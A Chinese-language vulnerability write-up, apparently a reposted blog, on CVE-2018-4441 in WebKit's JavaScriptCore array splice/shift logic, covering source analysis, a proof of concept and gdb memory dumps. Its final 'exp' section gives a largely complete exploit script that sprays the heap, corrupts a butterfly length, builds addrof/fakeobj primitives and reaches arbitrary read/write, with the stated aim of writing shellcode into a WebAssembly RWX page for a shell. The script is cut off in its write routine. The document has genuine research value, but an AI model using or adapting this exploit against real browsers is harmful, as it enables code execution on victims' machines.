(CVE-2018-4441)Webkit_shiftCountWithArrayStorage

# (CVE-2018-4441)Webkit shiftCountWithArrayStorage

==========

一、漏洞简介
————

WebKit是Apple
Safari浏览器中的Web浏览器引擎,也是其他macOS、iOS和Linux系统中应用的浏览器引擎。2018年12月,该漏洞在公开披露后,被发现影响最新版本的苹果Safari浏览器。

二、漏洞影响
————

三、复现过程
————

### 漏洞分析

#### 环境配置

这里我用了补丁的前一个版本 commit
`21687be235d506b9712e83c1e6d8e0231cc9adfd` , 在 ubuntu 1804
下编译,环境相关的文件都放在了[这里](https://github.com/rtfingc/cve-repo/tree/master/0x05-lokihardt-webkit-cve-2018-4441-shiftCountWithArrayStorage)

#### 漏洞描述

漏洞发生在`JSArray::shiftCountWithArrayStorage` 这个函数,根据lokihardt
的描述,除非对象的prototype 有indexed accessors 或者
proxy对象(我也不清楚是什么:( ),
否则调用到这个函数的时候`holesMustForwardToPrototype` 都会返回`false`,
本来带holes 的对象就可以进入下面的处理逻辑(总的来说就是代码写错了)

bool JSArray::shiftCountWithArrayStorage(VM& vm, unsigned startIndex, unsigned count, ArrayStorage* storage)
{
unsigned oldLength = storage->length();
RELEASE_ASSERT(count <= oldLength); // If the array contains holes or is otherwise in an abnormal state, // use the generic algorithm in ArrayPrototype. if ((storage->hasHoles() && this->structure(vm)->holesMustForwardToPrototype(vm, this))
|| hasSparseMap()
|| shouldUseSlowPut(indexingType())) {
return false;
}

if (!oldLength)
return true;

unsigned length = oldLength – count;

storage->m_numValuesInVector -= count;
storage->setLength(length);
//…..
bool Structure::holesMustForwardToPrototype(VM& vm, JSObject* base) const
{
ASSERT(base->structure(vm) == this);

if (this->mayInterceptIndexedAccesses())
return true;

JSValue prototype = this->storedPrototype(base);//
if (!prototype.isObject())
return false;
JSObject* object = asObject(prototype);

while (true) {
Structure& structure = *object->structure(vm);
if (hasIndexedProperties(object->indexingType()) || structure.mayInterceptIndexedAccesses())
return true;
prototype = structure.storedPrototype(object);
if (!prototype.isObject())
return false;
object = asObject(prototype);

#### poc 分析

function main() {
let arr = [1];

arr.length = 0x100000;
arr.splice(0, 0x11);

arr.length = 0xfffffff0;
arr.splice(0xfffffff0, 0, 1);
}

main();

`lokihardt` 给出了poc

./jsc
>>> a=[1]
1
>>> describe(a)
Object: 0x7fffaf6b4340 with butterfly 0x7fe0000e4008 (Structure 0x7fffaf6f2a00:[Array, {}, ArrayWithInt32, Proto:0x7fffaf6c80a0, Leaf]), StructureID: 97
>>> a.length=0x100000
1048576
>>> describe(a)
Object: 0x7fffaf6b4340 with butterfly 0x7fe0000f8448 (Structure 0x7fffaf6f2b50:[Array, {}, ArrayWithArrayStorage, Proto:0x7fffaf6c80a0, Leaf]), StructureID: 100
>>> a.splice(0,0×11)
1,,,,,,,,,,,,,,,,

首先创建了一个 `ArrayWithInt32` 类型的array, length 改成`0x100000`
之后会转换成`ArrayWithArrayStorage`, 然后调用 `splice`
函数,实现在`Source/JavaScriptCore/runtime/ArrayPrototype.cpp:1005`
的`arrayProtoFuncSplice` 函数

splice 用来删除修改array, 如 `a.splice(0, 0x11)`, 就表示从`index=0`
开始删除0x11 项, 第三个参数表示要替换的内容, 如`a.splice(0,0×11,1,1)`
表示删除 0x11 个项,然后添加两个项,内容都是1,
也可以这`a.splice(0,1,1,2,3)`
要添加的项比删除多的时候会重新分配内存。我们看一下函数具体是怎么样实现的,
这里用poc 的 `a.length=0x100000; a.splice(0,0×11)` 为例

EncodedJSValue JSC_HOST_CALL arrayProtoFuncSplice(ExecState* exec)
{
// 15.4.4.12

VM& vm = exec->vm();
auto scope = DECLARE_THROW_SCOPE(vm);

JSObject* thisObj = exec->thisValue().toThis(exec, StrictMode).toObject(exec);
EXCEPTION_ASSERT(!!scope.exception() == !thisObj);
if (UNLIKELY(!thisObj))
return encodedJSValue();
// length = 0x100000
unsigned length = toLength(exec, thisObj);
RETURN_IF_EXCEPTION(scope, encodedJSValue());

if (!exec->argumentCount()) {
//..
}
// splice 第一个参数, 这里是 0
unsigned actualStart = argumentClampedIndexFromStartOrEnd(exec, 0, length);
RETURN_IF_EXCEPTION(scope, encodedJSValue());
// actualDeleteCount = 0x100000 – 0
unsigned actualDeleteCount = length – actualStart;
// argumentCount == 2, 进入判断, actualDeleteCount = 0x11
if (exec->argumentCount() > 1) {
double deleteCount = exec->uncheckedArgument(1).toInteger(exec);
RETURN_IF_EXCEPTION(scope, encodedJSValue());
if (deleteCount < 0) actualDeleteCount = 0; else if (deleteCount > length – actualStart)
actualDeleteCount = length – actualStart;
else
actualDeleteCount = static_cast(deleteCount);
}
//…
// itemCount 表示要添加的 item 数量, 这里是 0 < 0x11 --> 调用 shift
unsigned itemCount = std::max(exec->argumentCount() – 2, 0);
if (itemCount < actualDeleteCount) { shift(exec, thisObj, actualStart, actualDeleteCount, itemCount, length);
RETURN_IF_EXCEPTION(scope, encodedJSValue());
} else if (itemCount > actualDeleteCount) {
unshift(exec, thisObj, actualStart, actualDeleteCount, itemCount, length);
RETURN_IF_EXCEPTION(scope, encodedJSValue());
}
// 把每个添加的item 内容写入
for (unsigned k = 0; k < itemCount; ++k) { thisObj->putByIndexInline(exec, k + actualStart, exec->uncheckedArgument(k + 2), true);
RETURN_IF_EXCEPTION(scope, encodedJSValue());
}
// 重新设置长度
scope.release();
setLength(exec, vm, thisObj, length – actualDeleteCount + itemCount);
return JSValue::encode(result);
}

整理一下

– `actualStart` 第一个参数,表示要开始delete 的地方

– `actualDeleteCount` 第二个参数,要delete
的数量,没有设置时默认是`length – actualStart`

– itemCount

“`{=html}

“`
– 第三个参数开始的数量

– `itemCount < actualDeleteCount` 会调用 shift - `itemCount > actualDeleteCount` 调用 unshift

我们跟一下`shift`

template
void shift(ExecState* exec, JSObject* thisObj, unsigned header, unsigned currentCount, unsigned resultCount, unsigned length)
{
VM& vm = exec->vm();
auto scope = DECLARE_THROW_SCOPE(vm);

RELEASE_ASSERT(currentCount > resultCount);
// 要多 delete 的数量
unsigned count = currentCount – resultCount;

RELEASE_ASSERT(header <= length); RELEASE_ASSERT(currentCount <= (length - header)); if (isJSArray(thisObj)) { JSArray* array = asArray(thisObj); if (array->length() == length && array->shiftCount(exec, header, count))
return;
}

for (unsigned k = header; k < length - currentCount; ++k) { unsigned from = k + currentCount; unsigned to = k + resultCount; JSValue value = getProperty(exec, thisObj, from); RETURN_IF_EXCEPTION(scope, void()); if (value) { thisObj->putByIndexInline(exec, to, value, true);
RETURN_IF_EXCEPTION(scope, void());
} else {
bool success = thisObj->methodTable(vm)->deletePropertyByIndex(thisObj, exec, to);
RETURN_IF_EXCEPTION(scope, void());
if (!success) {
throwTypeError(exec, scope, UnableToDeletePropertyError);
return;
}
}
}
for (unsigned k = length; k > length – count; –k) {
//
bool success = thisObj->methodTable(vm)->deletePropertyByIndex(thisObj, exec, k – 1);
RETURN_IF_EXCEPTION(scope, void());
if (!success) {
throwTypeError(exec, scope, UnableToDeletePropertyError);
return;
}
}
}
JSArray::ShiftCountForSplice` 实现在`Source/JavaScriptCore/runtime/JSArray.h:125`, `shiftCountWithAnyIndexingType` 根据 array 的类型做不同的处理,这里我们是`ArrayWithArrayStorage`, 直接调用`shiftCountWithArrayStorage
bool shiftCountForSplice(ExecState* exec, unsigned& startIndex, unsigned count)
{
return shiftCountWithAnyIndexingType(exec, startIndex, count);
}
//……………..

bool JSArray::shiftCountWithAnyIndexingType(ExecState* exec, unsigned& startIndex, unsigned count)
{
VM& vm = exec->vm();
RELEASE_ASSERT(count > 0);

ensureWritable(vm);

Butterfly* butterfly = this->butterfly();

switch (indexingType()) {
case ArrayClass:
return true;

case ArrayWithUndecided:
// Don’t handle this because it’s confusing and it shouldn’t come up.
return false;

case ArrayWithInt32:
case ArrayWithContiguous: {
unsigned oldLength = butterfly->publicLength();
//…
return true;
}

case ArrayWithDouble: {
unsigned oldLength = butterfly->publicLength();
RELEASE_ASSERT(count <= oldLength); //... return true; } case ArrayWithArrayStorage: case ArrayWithSlowPutArrayStorage: return shiftCountWithArrayStorage(vm, startIndex, count, arrayStorage()); default: CRASH(); return false; } } 这里就是漏洞点了,前面提到`holesMustForwardToPrototype` 会返回false, 这样就会进入到后面的逻辑 bool JSArray::shiftCountWithArrayStorage(VM& vm, unsigned startIndex, unsigned count, ArrayStorage* storage) { unsigned oldLength = storage->length();
RELEASE_ASSERT(count <= oldLength); // If the array contains holes or is otherwise in an abnormal state, // use the generic algorithm in ArrayPrototype. if ((storage->hasHoles() && this->structure(vm)->holesMustForwardToPrototype(vm, this))
|| hasSparseMap()
|| shouldUseSlowPut(indexingType())) {
return false;
}

if (!oldLength)
return true;
//count = 0x11, oldlength = 0x100000, length = 0xfffef
unsigned length = oldLength – count;
// m_numValuesInVector = 1, 计算之后 m_numValuesInVector = 0xfffffff0
storage->m_numValuesInVector -= count;
storage->setLength(length);

这里运行结束后`a.length = 0xfffef`,
`storage.m_numValuesInVector = 0xfffffff0`, 然后 poc
下一步设置`a.length = 0xfffffff0`, 这样就有
`a.length == storage.m_numValuesInVector`, 这样`hasHoles`
后续都会返回false

bool hasHoles() const
{
return m_numValuesInVector != length();
}

最后一步`a.splice(0xfffffff0, 0, 1);`,
`itemCount == 1 > actualDeleteCount == 0`, 于是就会进入 `unshift` 函数,
和 shift 函数类似,这里最终会进入 `JSArray`
的`unshiftCountWithArrayStorage`

因为 `storage->hasHoles()` 返回的是 false,
所以可以进入后面的判断,要添加的item 比
delete的多,那么就需要扩大原来的内存,后续的内存操作会出现问题,最终`segmentfault`

bool JSArray::unshiftCountWithArrayStorage(ExecState* exec, unsigned startIndex, unsigned count, ArrayStorage* storage)
{
//..

// If the array contains holes or is otherwise in an abnormal state,
// use the generic algorithm in ArrayPrototype.
if (storage->hasHoles() || storage->inSparseMode() || shouldUseSlowPut(indexingType()))
return false;

bool moveFront = !startIndex || startIndex < length / 2; unsigned vectorLength = storage->vectorLength();

// Need to have GC deferred around the unshiftCountSlowCase(), since that leaves the butterfly in
// a weird state: some parts of it will be left uninitialized, which we will fill in here.
DeferGC deferGC(vm.heap);
auto locker = holdLock(cellLock());

if (moveFront && storage->m_indexBias >= count) {
Butterfly* newButterfly = storage->butterfly()->unshift(structure(vm), count);
storage = newButterfly->arrayStorage();
storage->m_indexBias -= count;
storage->setVectorLength(vectorLength + count);
setButterfly(vm, newButterfly);
} else if (!moveFront && vectorLength – length >= count)
storage = storage->butterfly()->arrayStorage();
else if (unshiftCountSlowCase(locker, vm, deferGC, moveFront, count))
storage = arrayStorage();// 0x60
else {
throwOutOfMemoryError(exec, scope);
return true;
}

WriteBarrier* vector = storage->m_vector;

if (startIndex) {
if (moveFront)
memmove(vector, vector + count, startIndex * sizeof(JSValue));
else if (length – startIndex)
memmove(vector + startIndex + count, vector + startIndex, (length – startIndex) * sizeof(JSValue));
}

for (unsigned i = 0; i < count; i++) vector[i + startIndex].clear(); return true; } ### 漏洞利用 okay, 漏洞发生的原因大概清楚了,我们再来看看要怎么样利用。我们可以发现 `unshiftCountWithArrayStorage` 有一个 `memmove` 的操作, 假如执行`a.splice(0x1000,0,1)`, `startIndex == 0x1000`, `moveFront == true` , `count = 1` if (startIndex) { if (moveFront) memmove(vector, vector + count, startIndex * sizeof(JSValue)); else if (length - startIndex) memmove(vector + startIndex + count, vector + startIndex, (length - startIndex) * sizeof(JSValue)); } vector 来自前面的`storage` , 这里会进入 `storage = arrayStorage();` 重新初始化一个 storage, 可以跟踪一下`Source/JavaScriptCore/runtime/ButterflyInlines.h:77` 的`Butterfly::tryCreateUninitialized` 函数,最终分配的内存大小是 0x60(0x58 向上对齐)。但是 因为这里`startIndex` 可以控制,于是这里就可以越界做内存拷贝。 if (moveFront && storage->m_indexBias >= count) {//m_indexBias ==0 < count ==1 Butterfly* newButterfly = storage->butterfly()->unshift(structure(vm), count);
storage = newButterfly->arrayStorage();
storage->m_indexBias -= count;
storage->setVectorLength(vectorLength + count);
setButterfly(vm, newButterfly);
} else if (!moveFront && vectorLength – length >= count)// moveFront == true
storage = storage->butterfly()->arrayStorage();
else if (unshiftCountSlowCase(locker, vm, deferGC, moveFront, count))
storage = arrayStorage();// 0x60
else {
throwOutOfMemoryError(exec, scope);
return true;
}

WriteBarrier* vector = storage->m_vector;

如果内存布局像下面这样,

vector = 0x7fe000287a78
pwndbg> x/1000gx 0x7fe000287a78
0x7fe000287a78: 0x00000000badbeef0 0x0000000000000000
0x7fe000287a88: 0x00000000badbeef0 0x00000000badbeef0
0x7fe000287a98: 0x00000000badbeef0 0x00000000badbeef0
//..
// 其他 object 的 butterfly, length = 0xa
0x7fe000287ff8: 0x00000000badbeef0 0x0000000d0000000a
0x7fe000288008: 0x0000000000001337 0x402abd70a3d70a3d
0x7fe000288018: 0x402abd70a3d70a3d 0x402abd70a3d70a3d
// vector + 0x1000
0x7fe000288a78: 0x0000000000000000 0x0000000d0000000a
0x7fe000288a88: 0x0000000000001337 0x402abd70a3d70a3d

memmove之后, 可以把其他object 的 `buttefly` 的 length
改了,假如可以找到这个 object, 那么就可以利用这个 object
来构造越界读写了。

// vector
0x7fe000287a78: 0x0000000000000000 0x00000000badbeef0
0x7fe000287a88: 0x00000000badbeef0 0x00000000badbeef0
// 其他 object 的 butterfly, length = 0x1337
0x7fe000287ff8: 0x0000000d0000000a 0x0000000000001337
0x7fe000288008: 0x402abd70a3d70a3d 0x402abd70a3d70a3d
// vector + 0x1000
0x7fe000288a78: 0x0000000d0000000a 0x0000000000001337
0x7fe000288a88: 0x402abd70a3d70a3d 0x402abd70a3d70a3d

#### addrof 和 fakeobj 构造

首先喷一堆的object, 尝试构造出上面提到的内存布局,length都是 10,
这样新分配的内存就是 `10 * 8 + 0x10 = 0x60`, 就会和新申请的`storage`
分配在十分接近的内存上。 `spray[i]` 和 `spray[i+1]` 会连续分配

for (let i = 0; i < 0x3000; i += 2) { spray[i] = [13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37+i]; spray[i+1] = [{},{},{},{},{},{},{},{},{},{}]; // fakeobj } for (let i = 0; i < 0x3000; i += 2) spray[i][0] = i2f(0x1337) 然后是 splice(0x1000,0,1) 触发`memmove`, 然后找出那个被改了 size 的 object arr.splice(0x1000,0,1); fake_index=-1; for(let i=0;i<0x3000;i+=2){ if(spray[i].length!=10){ print("hit: "+i.toString(16)); fake_index=i; break; } } //..spray[i] ArrayWithDouble 0x7ff000287ff8: 0x00000000badbeef0 0x0000000d0000000a 0x7ff000288008: 0x0000000000001337 0x402abd70a3d70a3d 0x7ff000288018: 0x402abd70a3d70a3d 0x402abd70a3d70a3d 0x7ff000288028: 0x402abd70a3d70a3d 0x402abd70a3d70a3d 0x7ff000288038: 0x402abd70a3d70a3d 0x402abd70a3d70a3d 0x7ff000288048: 0x402abd70a3d70a3d 0x40c77caf5c28f5c3 // spray[i+1], ArrayWithContiguous 0x7ff000288058: 0x7ff8000000000000 0x7ff8000000000000 0x7ff000288068: 0x7ff8000000000000 0x0000000d0000000a 0x7ff000288078: 0x00007fffae25d240 0x00007fffae25d280 0x7ff000288088: 0x00007fffae25d2c0 0x00007fffae25d300 0x7ff000288098: 0x00007fffae25d340 0x00007fffae25d380 0x7ff0002880a8: 0x00007fffae25d3c0 0x00007fffae25d400 0x7ff0002880b8: 0x00007fffae25d440 0x00007fffae25d480 到了这里, `spray[i][14] == spray[i+1][0]`, 往`spray[i][14]` 写一个 地址, 然后从`spray[i+1]` 取出来就会认为他是一个object, 同样可以用`spray[i][14]` 读 object 的地址, fakeobj 和 addrof 的构造就十分直接啦 unboxed = spray[fake_index]; boxed = spray[fake_index+1]; print(describe(unboxed)) print(describe(boxed)) function addrof(obj){ boxed[0] = obj; return f2i(unboxed[14]); } function fakeobj(addr){ unboxed[14] = i2f(addr); return boxed[0]; } #### 任意地址读写 & 写 wasm getshell 接下来的利用基本上就都是通用套路了,改 `ArrayWithDouble` 的 butterfly 任意地址读写,然后找 wasm 的`rwx` 段写shellcode, 执行shellcode 完事。 ### exp 完整exp 如下 var conversion_buffer = new ArrayBuffer(8) var f64 = new Float64Array(conversion_buffer) var i32 = new Uint32Array(conversion_buffer) var BASE32 = 0x100000000 function f2i(f) { f64[0] = f return i32[0] + BASE32 * i32[1] } function i2f(i) { i32[0] = i % BASE32 i32[1] = i / BASE32 return f64[0] } function user_gc() { for (let i = 0; i < 10; i++) { let ab = new ArrayBuffer(1024 * 1024 * 10); } } let arr = [1]; arr.length = 0x100000; arr.splice(0, 0x11); arr.length = 0xfffffff0; let spray = new Array(0x3000); for (let i = 0; i < 0x3000; i += 2) { spray[i] = [13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37+i]; spray[i+1] = [{},{},{},{},{},{},{},{},{},{}]; } for (let i = 0; i < 0x3000; i += 2) spray[i][0] = i2f(0x1337) arr.splice(0x1000,0,1); fake_index=-1; for(let i=0;i<0x3000;i+=2){ if(spray[i].length!=10){ print("hit: "+i.toString(16)); fake_index=i; break; } } unboxed = spray[fake_index]; boxed = spray[fake_index+1]; print(describe(unboxed)) print(describe(boxed)) function addrof(obj){ boxed[0] = obj; return f2i(unboxed[14]); } function fakeobj(addr){ unboxed[14] = i2f(addr); return boxed[0]; } victim = [1.1]; victim[0] =3.3;; victim['prop'] = 13.37; victim['prop'+1] = 13.37; print(describe(victim)) print(addrof(victim).toString(16)) i32[0]=100; i32[1]=0x01082107 - 0x10000; var container={ jscell:f64[0], butterfly:victim, } print(describe(container)) container_addr = addrof(container); hax = fakeobj(container_addr+0x10); var unboxed2 = [1.1]; unboxed2[0] =3.3; var boxed2 = [{}] hax[1] = i2f(addrof(unboxed2)) var shared = victim[1]; hax[1] = i2f(addrof(boxed2)) victim[1] = shared; var stage2={ addrof: function(obj){ boxed2[0] = obj; return f2i(unboxed2[0]); }, fakeobj: function(addr){ unboxed2[0] = i2f(addr); return boxed2[0]; }, read64: function(addr){ hax[1] = i2f(addr + 0x10); return this.addrof(victim.prop); }, write64: function(addr,data){ hax[1] = i2f(addr+0x10); victim.prop = this.fakeobj(data) }, write: function(addr, shellcode) { var theAddr = addr; for(var i=0;i https://xz.aliyun.com/t/7694\#toc-2

© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容